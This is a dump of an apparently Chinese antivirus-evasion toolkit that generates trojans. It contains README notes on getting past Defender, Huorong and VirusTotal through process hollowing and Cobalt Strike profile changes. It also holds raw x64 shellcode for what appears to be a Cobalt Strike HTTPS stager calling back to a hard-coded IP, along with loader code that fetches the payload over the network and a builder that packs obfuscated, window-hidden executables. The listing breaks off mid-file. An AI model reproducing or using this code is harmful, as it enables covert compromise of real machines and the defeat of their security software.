88 | 和火绒差不多的效果,可以稳定上线执行普通命令,执行添加用户等会被告警。
89 |
90 | 
91 |
92 | defender:
93 |
94 | 使用进程镂空winlogon.exe,结合malleable-c2项目修改CS默认特征,可以无感知上线,执行shell命令会被defender告警病毒,但不主动查杀,只提示重启:
95 |
96 | 
97 |
98 | 火绒:
99 |
100 | 发现火绒把变量名当成静态特征查杀。。。增加了一些随机特性绕过火绒的静态特征查杀,火绒已经会对进程镂空winlogon.exe进行查杀,但镂空其他进程不会查杀,遇到火绒可以直接使用普通模式的那几个shellcode加载器。
101 |
102 | 更新后无感知上线和执行命令,不过新增用户等高危操作依然不可用,需要结合其它技术。
103 |
104 | 
105 |
106 | VT:
107 |
108 | VT上有些厂家已经把pyinstaller打包的程序都当成病毒了,所以很难做到更低的免杀率:
109 |
110 | 
--------------------------------------------------------------------------------
/config/payloadJQuery.py:
--------------------------------------------------------------------------------
1 | # length: 927 bytes
2 | buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x32\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x29\x40\xbd\xfc\x22\x11\xfa\x98\x41\xfa\xcf\x10\x8e\xa9\x9f\xd1\x07\x69\x89\x6c\x04\xe9\x7f\x71\x6e\x40\xf1\xb6\xd0\xb5\x8e\xbd\x44\xe5\x89\x41\x02\xf5\x7a\x59\xc5\xd9\x3b\x66\x59\x98\x67\x0e\x87\x81\xc5\x96\x90\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x4f\x8e\xf6\xf5\x9e\xc4\x38\xb0\x13\x15\x12\xce\xdf\x83\xaa\x55\xdf\x6d\x79\x80\x23\x88\x0e\xd0\xa9\x3f\x69\x84\xe0\x45\xd4\xe7\xac\xad\x03\x75\x03\xc8\x51\x5e\xc9\x72\x09\x19\x08\x21\xbc\x38\xd1\x2d\x5b\xdf\x07\xdb\x4d\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xaf\x0f\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x30\x30\x2e\x31\x30\x30\x2e\x31\x30\x30\x2e\x32\x00\x17\x50\x65\xea"
3 |
--------------------------------------------------------------------------------
/shellcoder.py:
--------------------------------------------------------------------------------
1 | import importlib
2 |
3 | #1.buf=shellcode,这里的shellcode就是最终运行需要的shellcode
4 | import json
5 | import os
6 | import re
7 | import shutil
8 | from shellcodeLoader import ProcessHollowingSave
9 |
10 | buf=''
11 |
12 |
13 |
14 |
15 | def main(enc=False,mode='',payloadFile='',url='',otherdic=dict(),onlybuf=False):
16 | global buf
17 |
18 | if payloadFile:
19 | buf=readPayload(payloadFile,otherdic)
20 |
21 | if not buf:
22 | return ''
23 |
24 | if onlybuf:
25 | return buf
26 |
27 | #1.确保buf是unicode,此处是为了兼容CS和MSF
28 | if isinstance(buf,str):
29 | buf=buf.encode('latin1')
30 |
31 | #2.此处使用了指定的加解密器中的Encode方法来加密shellcode
32 | data=''
33 | key=''
34 | if enc:
35 | md=importlib.import_module(f'Encoder.{enc}'.replace('.py',''))
36 | buf=md.Encode(buf)
37 | key=md.key
38 |
39 | #3如果启用了本地或远程文件分离,将加密后的shellcode写入PayloadFile
40 | if mode:
41 | WriteShellcode(buf)
42 |
43 | #3.如果使用文件分离,那么久返回对应的函数,如果不使用文件分离,则直接返回shellcode
44 | if not mode:
45 | buf=f'bbbbbbbb={buf}'
46 | elif mode=='local':
47 | buf=fileMode()
48 | elif mode=='network':
49 | buf=networkMode(url)
50 |
51 | # print(f'原始shellcoder:\n{buf}\n'+'-'*80)
52 | return buf
53 |
54 |
55 | def WriteShellcode(buf):
56 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile'
57 | try:
58 | os.makedirs(os.path.dirname(file))
59 | except:
60 | pass
61 | with open(file,'wb') as f:
62 | f.write(buf)
63 |
64 |
65 | def ReadShellcode():
66 | global buf
67 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile'
68 | try:
69 | os.makedirs(os.path.dirname(file))
70 | except:
71 | pass
72 | with open(file,'rb') as f:
73 | buf2=f.read()
74 |
75 | if not buf2:
76 | buf=buf2
77 | return buf2
78 |
79 |
80 | def fileMode():
81 | buf=f"""
82 | with open('PayloadFile','r') as f:
83 | bbbbbbbb=f.read().encode('latin1')
84 | """
85 | return buf
86 |
87 |
88 | def networkMode(url=''):
89 | import requests
90 | if url:
91 | r=requests.get(url)
92 | if r.status_code==200:
93 | buf=r.content.decode('latin1').encode('latin1')
94 |
95 | buf=f"""import requests
96 | r=requests.get('{url}')
97 | if r.status_code==200:
98 | bbbbbbbb=r.content.decode().encode('latin1')"""
99 |
100 | else:
101 | buf=f"""import requests
102 | r=requests.get(url)
103 | if r.status_code==200:
104 | bbbbbbbb=r.content.decode().encode('latin1')"""
105 |
106 | return buf
107 |
108 |
109 | def readPayload(payloadFile,otherdic=dict()):
110 |
111 | buf=''
112 | if re.search('\.py',payloadFile):
113 | #py文件,将其拷贝到temp目录
114 |
115 | targetFile=os.path.dirname(os.path.abspath(__file__))+os.sep+f'temp{os.sep+os.path.basename(payloadFile)}'
116 | try:
117 | os.makedirs(os.path.dirname(targetFile))
118 | except:
119 | pass
120 | shutil.copy(payloadFile,targetFile)
121 | #直接动态import
122 | targetFile=f'temp.{os.path.basename(payloadFile)}'.replace('.py','')
123 |
124 | md=importlib.import_module(targetFile)
125 | buf=md.buf
126 |
127 | elif re.search('\.exe',payloadFile):
128 | #exe文件,读取PE信息
129 | buf=ProcessHollowingSave.getPayload(payloadFile)
130 |
131 | if isinstance(otherdic,dict):
132 | buf.update(otherdic)
133 | buf=json.dumps(buf)
134 |
135 | else:
136 | print('pass')
137 |
138 | return buf
139 | if __name__ == '__main__':
140 |
141 | a=main('base64Enc','network',r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\风暴免杀\config\artifact.exe",'',{'TARGET_EXE':'winlogon.exe'})
142 | print(a)
143 |
144 |
--------------------------------------------------------------------------------
/cmdcoder.py:
--------------------------------------------------------------------------------
1 | import importlib
2 | import inspect
3 | import os
4 | import sys
5 | sys.path.append(os.path.abspath(os.path.dirname(__file__))+'/shellcodeLoader')
6 | import re
7 |
8 |
9 | def getcmd(shellcodeloader='VirtualAlloc1',encType=''):
10 | #获取shellcodeLoader目录下的shellcode加载器代码,只会获取所有自定义方法,从main方法开始执行(因此你自己编写的shellcode加载器可以自定义多个方法但必须从main方法中开始调用其他方法)
11 | md=importlib.import_module(f'shellcodeLoader.{shellcodeloader}'.replace('.py',''))
12 | cmd=''
13 | fun=dir(md)
14 | # print(inspect.getsource(md))
15 | cmd_=inspect.getsource(md).split('\n')
16 | stop=0
17 | for line in cmd_:
18 | if re.search(r"__main__",line):
19 | stop=1
20 | elif stop==1 and re.match('\w\W',line):
21 | stop=0
22 |
23 |
24 | if stop==0 and line:
25 | cmd+=line+'\n'
26 |
27 | # for f in fun:
28 | # if inspect.isfunction(eval(f'md.{f}')):
29 | # cmd+=inspect.getsource(eval(f'md.{f}'))+'\n'
30 | # elif inspect.isclass(eval(f'md.{f}')):
31 | # try:
32 | # cmd+=inspect.getsource(eval(f'md.{f}'))
33 | # except:
34 | # pass
35 | # else:
36 | # if inspect.istraceback(eval(f'md.{f}')):
37 | # print(f)
38 | #判断是否使用了加解密器,如果有指定加解密器,那么shellcode加载器的代码也会被该加解密器的Encode方法加密,运行时再通过该加解密器的Decode方法解密还原。
39 | EncCmd=''
40 | if encType:
41 | EncCmd=importlib.import_module(f'Encoder.{encType}'.replace('.py','')).Encode(cmd.encode())
42 |
43 | print(f'原始CMD:\n{cmd}\n'+'-'*80)
44 | return EncCmd if EncCmd else cmd
45 |
46 |
47 | def getDecodecmd(encType=''):
48 | #如果指定了加解密器,那么会获取该加解密器的Decode方法的源代码,用于写入最终的木马脚本中(这样才能解密)
49 | EncCmd=''
50 | if encType:
51 | EncCmd=inspect.getsource(importlib.import_module(f'Encoder.{encType}'.replace('.py','')).Decode)
52 |
53 | return EncCmd if EncCmd else ''
54 |
55 |
56 | def getImport(shellcodeloader='VirtualAlloc1',encType=''):
57 | #获取所有需要import的包,最终生成的木马脚本中需要import的内容
58 | file=f'shellcodeLoader/{shellcodeloader}'.replace('.py','')+'.py'
59 | s=set()
60 | result=''
61 | #1.添加上base64、random、time,这3个是后期处理时使用过的包
62 | other=['import base64','import sys','import random','import os','import time']
63 | for line in other:
64 | result+=line.strip()+'\n'
65 | s.add(line.strip())
66 |
67 | #2.从shellcode加载器中获取需要import的包
68 | with open(file,'r',encoding='utf-8') as f:
69 | for line in f:
70 | if re.search(r'^import|^from[\w\W]*import',line):
71 | if line.strip() in s:
72 | continue
73 | result+=line.strip()+'\n'
74 | s.add(line.strip())
75 | #3.如果有指定加解密器,从Encoder目录下的加解密器中获取需要import的包
76 | if encType:
77 | file=f'Encoder/{encType}.py'
78 | with open(file,'r',encoding='utf-8') as f:
79 | for line in f:
80 | if re.search(r'^import|^from[\w\W]*import',line.strip()):
81 | if line.strip() in s:
82 | continue
83 | result+=line.strip()+'\n'
84 | s.add(line.strip())
85 |
86 |
87 | return result
88 |
89 | def getModulName(shellcodeloader='VirtualAlloc1',encType=''):
90 | #获取所有需要import的包的名字,用于自动pyinstaller打包时指定--import-module
91 | s=set()
92 | #1.从shellcode加载器中获取
93 | md=importlib.import_module(f'shellcodeLoader.{shellcodeloader}'.replace('.py',''))
94 | fun=dir(md)
95 | # print(fun)
96 | for f in fun:
97 | if inspect.ismodule(eval(f'md.{f}')):
98 | s.add(f)
99 | #2.如果有使用加解密器,从加解密器中获取
100 | if encType:
101 | md=importlib.import_module(f'Encoder.{encType}'.replace('.py',''))
102 | fun=dir(md)
103 | print(fun)
104 | for f in fun:
105 | if inspect.ismodule(eval(f'md.{f}')):
106 | s.add(f)
107 | return s
108 |
109 | if __name__ == '__main__':
110 | # a=getcmd('process-hollowing-test')
111 | a=getcmd('VirtualAlloc1.py','base64Enc')
112 | print(a)
113 | #
114 |
115 |
116 | # imp=getImport('VirtualAlloc1','base64Enc')
117 | # print(imp)
118 |
119 | # mod=getModulName('test','base64Enc')
120 | # print(mod)
--------------------------------------------------------------------------------
/Encoder/base64Enc.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import random
3 | key=random.randint(1,100)
4 | print('key:',key)
5 |
6 | info="base64加解密器只使用了简单的base64编码,加上随机的位移反转,在免杀效果上越是趋向应用的简单方式反而越有效,选择加解密器后shellcode和shellcode加载器都会采用加解密器的函数进行加密,如果不启用,那么默认也会将所有代码简单base64,运行时解码后通过eval来将字符串当作代码执行。"
7 |
8 | def Encode(data):
9 | data=base64.b64encode(data)
10 | data=data[key:]+data[:key]
11 | return data
12 |
13 |
14 | def Decode(data,cmd=False,key=0):
15 | data=data[len(data)-key:]+data[:len(data)-key]
16 | if cmd:
17 | data=base64.b64decode(data,validate=True).decode()
18 | else:
19 | data=base64.b64decode(data)
20 |
21 | return data
22 |
23 |
24 |
25 |
26 | if __name__ == '__main__':
27 | buf=b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x33\x65\x54\x71\x00\xe4\x88\x21\xee\xdf\xe4\x82\x76\x98\x70\x09\xf2\x86\x57\x45\x1e\xac\x0d\x16\x09\x54\x33\x41\x9e\xe2\x94\x88\xe0\x55\x3b\xc3\x7f\x4e\x28\x47\xbc\xbc\x34\x28\x46\x7a\xb0\xe9\x4b\x8f\x0b\x00\x2d\x02\x5e\xb5\x0e\xcd\x24\x3d\xe3\x38\xb8\xe3\x24\x09\x77\x36\x3a\x77\xec\xf2\xa0\xd7\xa0\x26\x7f\x7b\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x28\xf4\x87\x4d\x27\x7d\x27\xbe\xf7\x05\x50\xdd\xf5\xc5\xac\x4c\xfa\x39\xcf\xe4\x27\x7d\x1d\x6f\x68\xec\x45\xb0\xef\xc3\x54\x1a\xe6\xc8\xea\xdc\x26\x66\x6d\xb8\xbe\xca\x49\x0b\xa7\xc0\xdc\xf2\x9f\x6a\x22\xc4\x64\x2f\x95\xfb\xc6\x0c\x59\x2f\xcc\xa6\xb6\xf7\x20\xc1\x1a\xaa\x58\xd0\x4a\x28\x00\x3f\x01\x56\x4c\x44\x24\xfa\x47\x96\x56\x21\x21\xb9\x57\x23\xe9\x23\x8d\xea\x8d\xc8\xdf\x29\x67\xed\x0c\x59\xec\x65\x19\xe6\xab\x71\x55\x3b\xe8\x4b\x9e\x8b\x1f\x8a\x20\xd3\xf3\xd9\xed\xb1\xf5\x2c\x06\xa0\x0b\x6d\xf7\x1a\xda\x11\x48\xf9\x26\xd9\xb7\x00\x8e\x04\x08\x1b\x6c\x3f\x3f\x67\x14\x9d\x7a\x60\xf4\xce\x7e\x88\x28\x76\x26\xfc\xe4\xb6\x0e\xe1\xfb\x30\x62\xb5\x22\x06\x93\x11\xcf\xdc\xcc\xfc\x3c\x9c\xd7\xe2\x53\x1c\xc2\x70\x2d\xf3\x14\x23\xb7\xd8\xca\x8c\x01\x03\xf5\x4c\xee\x18\xc4\xe7\x8f\xdf\xcb\xbf\xe6\xa0\x33\x76\x40\x5f\x56\x3e\x59\xc6\xcc\x4e\xa0\xec\x34\x45\xe9\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x30\x30\x2e\x31\x30\x30\x2e\x31\x30\x30\x2e\x32\x00\x17\x50\x65\xea'
28 |
29 | a=Encode(buf)
30 | print(a)
31 |
32 | b=Decode(a)
33 | print(b)
--------------------------------------------------------------------------------
/TrojanCreater.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | filepath=os.path.dirname(os.path.abspath(__file__))+'/shellcodeLoader'
4 | print(filepath)
5 | sys.path.append(filepath)
6 | import PyInstaller.__main__
7 | import shellcoder
8 | import cmdcoder
9 | import base64
10 | import random
11 | import string
12 | import time
13 |
14 | class Creater():
15 | def __init__(self,arg):
16 | self.loaderType=arg.get('shellcodeLoaderType') #shellcode加载器类型
17 | print(self.loaderType)
18 | self.encType=arg.get('cryptoType') #设置加密器类型
19 | self.mode=arg.get('spliteMode') #用于选择分离免杀shellcode的加载方式,不指定则不使用分离免杀,可以指定为从本地文件加载shellcode和网络加载shellcode
20 | self.payloadFile=arg.get('payloadFile')
21 | self.url=arg.get('url')
22 | arg.get('is_64')
23 | self.hiddenWindow=arg.get('is_hidden')
24 | self.savePyFile=arg.get('is_savePyFile')
25 | self.is_urlWriteIn=arg.get('is_urlWriteIn')
26 |
27 | if self.mode=='local':
28 | self.modeInfo='shellcode本地分离模式:'
29 | elif self.mode=='network':
30 | self.modeInfo='shellcode网络分离模式:'
31 | else:
32 | self.modeInfo=''
33 |
34 | self.shellcode=b''
35 | self.cmdcode='' #获取shellcodeLoader目录下,shellcode加载器的main以及自定义函数中的代码,这些代码经过base64加密后会写入到最终的木马脚本中。
36 | self.deccode='' #获取Encoder目录下,加解密脚本的Decode函数中的代码,这些代码经过base64加密后会写入到最终的木马脚本中。
37 | self.importP='' #获取shellcodeLoader目录下,shellcode加载器所有import的内容,这些import需要写入最终的木马脚本中。
38 | self.modoleName=set() #获取shellcodeLoader和加解密器中所有import的模块名
39 | self.otherdic=arg.get('otherdic')
40 |
41 | def GetShellcode(self):
42 | #获取加密后的shellcode
43 | self.shellcode=shellcoder.main(self.encType,self.mode,self.payloadFile,self.url,self.otherdic)
44 |
45 |
46 | def GetShellcodeLoader(self):
47 | #获取shellcode加载器代码
48 | self.cmdcode=cmdcoder.getcmd(self.loaderType,self.encType)
49 | #获取解码器的代码
50 | self.deccode=cmdcoder.getDecodecmd(self.encType)
51 | #获取最终代码需要import的包:包含shellcode加载器中所有import、加解密器中所有import、以及额外的几个import
52 | self.importP=cmdcoder.getImport(self.loaderType)
53 | if self.mode=='network':
54 | self.importP+='import requests\n'
55 | #获取shellcodeLoader和加解密器中所有import的模块名
56 | self.modoleName=cmdcoder.getModulName(self.loaderType,self.encType)
57 |
58 |
59 | def RandomStr(self,cmd='',text=''):
60 | ramdbuf=''.join(random.sample(string.ascii_letters,random.randrange(5,10)))
61 | randcmd=''.join(random.sample(string.ascii_letters,random.randrange(5,10)))
62 | randhhhhhhhhhhhhhh=''.join(random.sample(string.ascii_letters,random.randrange(5,10)))
63 |
64 | cmd=cmd.replace('bbbbbbbb',ramdbuf).replace('aaaaaaaa',randcmd).replace('hhhhhhhhhhhhhh',randhhhhhhhhhhhhhh)
65 | text=text.replace('bbbbbbbb',ramdbuf).replace('aaaaaaaa',randcmd).replace('hhhhhhhhhhhhhh',randhhhhhhhhhhhhhh)
66 |
67 | return cmd,text
68 |
69 | def CreateTrojan(self):
70 | #生成最终运行的木马脚本
71 |
72 | #0.构造出加密后的shellcode、加密后的shellcode加载器代码、解密函数。key=random.randint(0,100)用于生成随机秘钥碰撞解密函数中的key
73 | cmd=f'{self.shellcode}\n' \
74 | f'{self.deccode}\n'
75 |
76 | cmd+=f'aaaaaaaa ={self.cmdcode}\n' if self.encType else self.cmdcode
77 |
78 | cmd+=f'key =random.randint(0,100)\n' \
79 | f'bbbbbbbb =Decode(bbbbbbbb ,False,key )\n' \
80 | f'aaaaaaaa =Decode(aaaaaaaa ,True,key)\n' if self.encType else ''
81 |
82 |
83 |
84 |
85 |
86 | #2.构造最终的木马脚本:从self.importP获取需要import的包
87 | text=''
88 | text+=self.importP+'\n'
89 | #3.构造最终的木马脚本:给个for循环,加解密器可以实现随机碰撞,可参照base64Enc.py,核心代码使用eval来执行
90 | text+=f'{"" if self.is_urlWriteIn else "url=sys.argv[1]"}\n' \
91 | f'for i in range(10000):\n' \
92 | f' try:\n' \
93 | f' eval(compile(base64.b64decode(qqqqqqqqq.decode()).decode(),"hhhhhhhhhhhhhh","exec"))'
94 |
95 | text+=f'\n eval(compile(aaaaaaaa ,"hhhhhhhhhhhhhh","exec"))\n main(bbbbbbbb)\n {"break" if self.loaderType=="ProcessHollowing.py" else ""}\n except FileNotFoundError:print("请将每次重新生成的PayloadFile文件放在本目录");time.sleep(3);break\n except:pass'
96 |
97 |
98 | #给构造出的代码变量增加一些随机性,火绒会拿变量名来做静态特征查杀。。。
99 | cmd,text=self.RandomStr(cmd,text)
100 |
101 |
102 | #1.将上面构造出的核心代码做一次base64编码。
103 | cmd=base64.b64encode(cmd.encode())
104 |
105 | #将加密后的cmd替换到最终代码上
106 | text=text.replace('qqqqqqqqq',f'{cmd}')
107 |
108 | #print("{self.modeInfo}秘钥碰撞失败,如果多次运行程序还是失败,请确认已经将最新生成的PayloadFile放在本目录下(每次都会变化)")
109 |
110 | #4.按时间生成文件名
111 | self.file=time.strftime("%Y%m%d%H%M%S",time.localtime(time.time()))
112 |
113 | file=os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+self.file+'.py'
114 | try:
115 | os.makedirs(os.path.dirname(file))
116 | except:
117 | pass
118 | # print(file)
119 | with open(file,'w',encoding='utf-8') as f:
120 | f.write(text)
121 |
122 |
123 |
124 |
125 |
126 | #5.使用pyinstaller打包
127 | PyInstaller.__main__.run([
128 | f'result{os.sep}{self.file}.py',
129 | '-F',
130 | '--clean',
131 | f'--key={self.file}', #--key参数会将文件加密
132 | f'--hidden-import={",".join(self.modoleName)}', #--hidden-import可以隐藏import的包
133 | f'--distpath=result',
134 | f'{"--noconsole" if self.hiddenWindow else "-y"}'
135 | ])
136 |
137 | time.sleep(1)
138 | os.remove(f'{self.file}.spec')
139 |
140 | def run(self):
141 | self.GetShellcode()
142 | self.GetShellcodeLoader()
143 | self.CreateTrojan()
144 |
145 | #弹出result文件夹
146 | os.startfile(os.path.dirname(os.path.abspath(__file__))+os.sep+'result')
147 |
148 | #删除.py文件
149 | if not self.savePyFile:
150 | try:
151 | os.remove(f'result{os.sep}{self.file}.py')
152 | except:
153 | pass
154 | tip1=f"已成功生成木马:{os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+self.file}.exe
"
155 | tip2=f"您使用了shellcode本地分离模式,请将PayloadFile文件和木马放在同目录下运行" if self.mode=='local' else f"使用了shellcode网络分离模式,请确定已经将每次生成的PayloadFile(每次会变)放于服务器上[如果配置了SSH服务器将会自动同步],URL地址:{self.url}"
156 | tip3=f" url已写入木马文件,可直接运行exe" if self.is_urlWriteIn else f"
url未写入木马文件,请运行{self.file}.exe {self.url if self.url else 'http://x.x.x.x'}"
157 |
158 |
159 | return tip1+(tip2 if self.mode else '') +(tip3 if self.mode=='network' else "")
160 |
161 | if __name__ == '__main__':
162 | arg={
163 | 'shellcodeLoaderType':'VirtualAlloc1.py',
164 | 'cryptoType':'base64Enc.py',
165 | 'spliteMode': 'network',
166 | 'payloadFile':r'D:/BaiduSyncdisk/dyb/a_penetration/kali_tools/my_project/project/BypassAV/掩月/config/payloadJQuery.py',
167 | 'url':'http://100.100.100.2/PayloadFile',
